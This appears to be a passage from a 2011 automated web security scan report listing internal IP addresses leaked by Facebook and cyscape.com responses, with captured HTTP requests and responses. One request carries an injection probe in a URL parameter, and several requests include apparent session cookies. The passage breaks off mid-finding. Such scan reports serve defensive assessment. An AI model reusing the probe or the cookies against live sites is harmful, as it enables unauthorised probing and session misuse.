There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

15.1. http://www.connect.facebook.com/widgets/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.connect.facebook.com
Path:	/widgets/fan.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.128.108

Request

Response

15.2. https://www.cyscape.com/%22/products/bhtg//%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/%22/products/bhtg//%22

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.0.1

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43036

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
<script type="text/javascript">
       BOOMR.init({
           user_ip: '10.0.0.1',
           beacon_url: "http://www.cyscape.com/images/common/page_spacer.gif",
           BW: {
               base_url: "http://www.cyscape.com/images/boomr/"
           }
       });
   </script>
...[SNIP]...

15.3. https://www.cyscape.com/images/common/episodes.gif%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/images/common/episodes.gif%22

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.0.1

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43190

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
<script type="text/javascript">
       BOOMR.init({
           user_ip: '10.0.0.1',
           beacon_url: "http://www.cyscape.com/images/common/page_spacer.gif",
           BW: {
               base_url: "http://www.cyscape.com/images/boomr/"
           }
       });
   </script>
...[SNIP]...

15.4. https://www.cyscape.com/products/bhawk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhawk/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.0.1

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 98373

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1">
<script>var _bhtg_lo
...[SNIP]...
<script type="text/javascript">
       BOOMR.init({
           user_ip: '10.0.0.1',
           beacon_url: "http://www.cyscape.com/images/common/page_spacer.gif",
           BW: {
               base_url: "http://www.cyscape.com/images/boomr/"
           }
       });
   </script>
...[SNIP]...

15.5. https://www.cyscape.com/products/bhtg/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhtg/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.0.1

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48909

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
<script type="text/javascript">
       BOOMR.init({
           user_ip: '10.0.0.1',
           beacon_url: "http://www.cyscape.com/images/common/page_spacer.gif",
           BW: {
               base_url: "http://www.cyscape.com/images/boomr/"
           }
       });
   </script>
...[SNIP]...

15.6. https://www.cyscape.com/products/bhtg/howitworks.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhtg/howitworks.aspx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.0.1

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:05:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48627

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
<script type="text/javascript">
       BOOMR.init({
           user_ip: '10.0.0.1',
           beacon_url: "http://www.cyscape.com/images/common/page_spacer.gif",
           BW: {
               base_url: "http://www.cyscape.com/images/boomr/"
           }
       });
   </script>
...[SNIP]...

15.7. http://www.facebook.com/connect/connect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/connect.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.189.39

Request

Response

15.8. http://www.facebook.com/creditsuisse previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/creditsuisse

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.200.42

Request

GET /creditsuisse HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.9. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.73.47

Request

GET /extern/login_status.php?api_key=129182073794488&app_id=129182073794488&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df9c2856c2ae22e%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff32a179525d417%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfcd27a2a3749b4%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff32a179525d417%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3306ce0a38f6b4%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df303383006da122%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff32a179525d417%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3306ce0a38f6b4&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df17534518c30ec2%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff32a179525d417%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3306ce0a38f6b4&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df98219feb6a02c%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff32a179525d417%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3306ce0a38f6b4&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.73.47
X-Cnection: close
Date: Mon, 19 Sep 2011 19:33:03 GMT
Content-Length: 253

<script type="text/javascript">
parent.postMessage("cb=f17534518c30ec2&origin=http\u00253A\u00252F\u00252Fwww.cio.com\u00252Ff32a179525d417&relation=parent&transport=postmessage&frame=f3306ce0a38f6b4"
...[SNIP]...

15.10. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.177.33

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3a47703a887c92%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1daf25ed31f964%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dffb1e1af9376aa%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1f499f7594600c%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dffb1e1af9376aa&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfd4611ce66eedc%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dffb1e1af9376aa&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df730320e5ab1be%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dffb1e1af9376aa&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.62.177.33
X-Cnection: close
Date: Mon, 19 Sep 2011 19:16:09 GMT
Content-Length: 263

<script type="text/javascript">
parent.postMessage("cb=fd4611ce66eedc&origin=http\u00253A\u00252F\u00252Fdownload.cnet.com\u00252Ff749aca5928b3a&relation=parent&transport=postmessage&frame=ffb1e1af937
...[SNIP]...

15.11. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.33.12.106

Request

GET /extern/login_status.php?api_key=d1f292fedbcb2eb14731c921b26f8e21&app_id=d1f292fedbcb2eb14731c921b26f8e21&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1f7879e9%26origin%3Dhttp%253A%252F%252Fwww.simplyhired.com%252Ff3b24a17c8%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dff3e8f344%26origin%3Dhttp%253A%252F%252Fwww.simplyhired.com%252Ff3b24a17c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df256d94d28%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3f06932d4%26origin%3Dhttp%253A%252F%252Fwww.simplyhired.com%252Ff3b24a17c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df256d94d28&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2a2c44478%26origin%3Dhttp%253A%252F%252Fwww.simplyhired.com%252Ff3b24a17c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df256d94d28&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df263fed2b4%26origin%3Dhttp%253A%252F%252Fwww.simplyhired.com%252Ff3b24a17c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df256d94d28&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.33.12.106
X-Cnection: close
Date: Mon, 19 Sep 2011 20:35:04 GMT
Content-Length: 251

<script type="text/javascript">
parent.postMessage("cb=f2a2c44478&origin=http\u00253A\u00252F\u00252Fwww.simplyhired.com\u00252Ff3b24a17c8&relation=parent&transport=postmessage&frame=f256d94d28", "htt
...[SNIP]...

15.12. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.0.49

Request

GET /extern/login_status.php?api_key=103924619692623&app_id=103924619692623&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df92e8f4269e902%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff32e969a803048%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df242b7ef1df6c38%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff32e969a803048%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df135ae4d0ea491e%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df36d3559bdc248%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff32e969a803048%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df135ae4d0ea491e&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df14f79a02a79754%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff32e969a803048%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df135ae4d0ea491e&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1ca2d6a9f6f14%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff32e969a803048%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df135ae4d0ea491e&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.0.49
X-Cnection: close
Date: Mon, 19 Sep 2011 19:22:44 GMT
Content-Length: 261

<script type="text/javascript">
parent.postMessage("cb=f14f79a02a79754&origin=http\u00253A\u00252F\u00252Fwww.itworld.com\u00252Ff32e969a803048&relation=parent&transport=postmessage&frame=f135ae4d0ea4
...[SNIP]...

15.13. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.76.112

Request

GET /extern/login_status.php?api_key=b2530777406d3bc1b8d7826d2510ae6c&extern=0&channel=http%3A%2F%2Fwww.techhail.com%2Fheadline%2Ftop-best-iphone-games%2F8468%3Faaaa%3Dbbbb%22%3Ess%26ccc%3Ddddd%2611111%3D22222%26fbc_channel%3D1&locale=en_US HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techhail.com/headline/top-best-iphone-games/8468
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.76.112
X-Cnection: close
Date: Mon, 19 Sep 2011 19:27:44 GMT
Content-Length: 58

Given URL is not allowed by the Application configuration.

15.14. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.210.64

Request

GET /extern/login_status.php?api_key=236575159691634&app_id=236575159691634&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfed0996c800b6e%26origin%3Dhttp%253A%252F%252Flifehacker.com%252Ff3630e9a3ea6c26%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df15cc7fb84e9e2%26origin%3Dhttp%253A%252F%252Flifehacker.com%252Ff3630e9a3ea6c26%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df33d97ad8aa1544%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df20fe58697372f4%26origin%3Dhttp%253A%252F%252Flifehacker.com%252Ff3630e9a3ea6c26%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df33d97ad8aa1544&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df28e65e170546c6%26origin%3Dhttp%253A%252F%252Flifehacker.com%252Ff3630e9a3ea6c26%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df33d97ad8aa1544&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2d894cda434208%26origin%3Dhttp%253A%252F%252Flifehacker.com%252Ff3630e9a3ea6c26%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df33d97ad8aa1544&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://lifehacker.com/5759186/five-best-vpn-service-providers
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.62.210.64
X-Cnection: close
Date: Mon, 19 Sep 2011 19:16:28 GMT
Content-Length: 58

Given URL is not allowed by the Application configuration.

15.15. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.3.43

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2f3efde623b4be%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2427e530f7e38%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20d5cf3af755a2%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1b7a1913edcf74%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20d5cf3af755a2&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df21162e690c4b%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20d5cf3af755a2&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df39d36fd3e1f5ca%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20d5cf3af755a2&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.3.43
X-Cnection: close
Date: Mon, 19 Sep 2011 19:24:44 GMT
Content-Length: 257

<script type="text/javascript">
parent.postMessage("cb=f21162e690c4b&origin=http\u00253A\u00252F\u00252Fnews.cnet.com\u00252Ff31e9240e8a9c24&relation=parent&transport=postmessage&frame=f20d5cf3af755a2
...[SNIP]...

15.16. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.151.27

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df243da421b7019e%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1d6a1411d8496%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df38f5a410fe37e8%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df46d3481b35998%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df38f5a410fe37e8&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2f43d5eaf9ab38%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df38f5a410fe37e8&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2d5d1533b70958%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df38f5a410fe37e8&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.151.27
X-Cnection: close
Date: Mon, 19 Sep 2011 19:25:49 GMT
Content-Length: 255

<script type="text/javascript">
parent.postMessage("cb=f2f43d5eaf9ab38&origin=http\u00253A\u00252F\u00252Fnews.cnet.com\u00252Ffd9cdd4a14686&relation=parent&transport=postmessage&frame=f38f5a410fe37e8
...[SNIP]...

15.17. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.0.39

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df13c3bfa1864fc8%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2367ea03296c8%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df9098f09cf7c14%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df41eae505bbf24%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df9098f09cf7c14&no_user=http%3A%2F%2F